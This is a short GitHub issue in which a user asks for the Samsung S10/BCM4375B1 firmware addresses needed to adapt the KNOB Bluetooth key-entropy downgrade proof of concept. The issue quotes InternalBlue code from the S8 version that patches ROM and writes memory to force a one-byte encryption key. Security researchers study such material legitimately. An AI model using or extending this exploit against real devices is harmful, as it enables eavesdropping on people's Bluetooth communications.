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Samsung S10/BCM4375B1 KNOB PoC #76

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slowm0ve opened this issue Jan 25, 2024 · 0 comments
Open

Samsung S10/BCM4375B1 KNOB PoC #76

slowm0ve opened this issue Jan 25, 2024 · 0 comments

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@slowm0ve
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Hi!

Thank you so much for your tremendous work!

I am trying to experiment with KNOB PoC using Samsung S10 and I found no examples for this hardware, specifically KNOB PoC.

Could you please tell me which addresses need to be specified to change the key entropy value for Samsung S10/BCM4375B1?

Here is the extract from PoC from S8:

patch = asm("mov r2, #0x1", vma=0x530F6)  # connection struct key entropy
internalblue.patchRom(Address(**0x530F6**), patch)

# modify global variable for own setting
internalblue.writeMem(**0x255E8F**, b'\x01')  # global key entropy
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@slowm0ve